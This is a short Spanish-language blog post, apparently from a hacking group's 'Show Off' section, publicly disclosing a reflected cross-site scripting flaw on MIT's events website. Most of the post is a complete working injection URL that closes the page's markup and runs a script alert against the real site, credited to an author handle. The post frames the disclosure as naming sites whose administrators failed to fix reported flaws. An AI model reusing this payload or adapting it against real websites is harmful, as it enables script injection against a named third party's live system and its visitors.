Todos los sitios expuestos en esta sección han sido reportados y hemos ofrecido nuestro servicios para lograr solucionar las fallas de seguridad en sus sistemas, si estos fallos siguen vigentes es por puro desinterés y mala administración de los encargados.
XSS:
Sitio: http://events.mit.edu/
Vector:
http://events.mit.edu/searchresults.html?fulltext=%22%3E--%3E%3Cscript%3Ealert%28%22HD_Breaker%20for%20Aaron%20Schwartz%22%29%3C%2Fscript%3E%3C!--&andor=and&start.month=01&start.day=22&start.year=2013&end.month=02&end.day=22&end.year=2013
Autor: hdbreaker
XSS Massachusetts Institute of Technology
Posted by Security Signal on 2:33 in Show Off | Comments : 0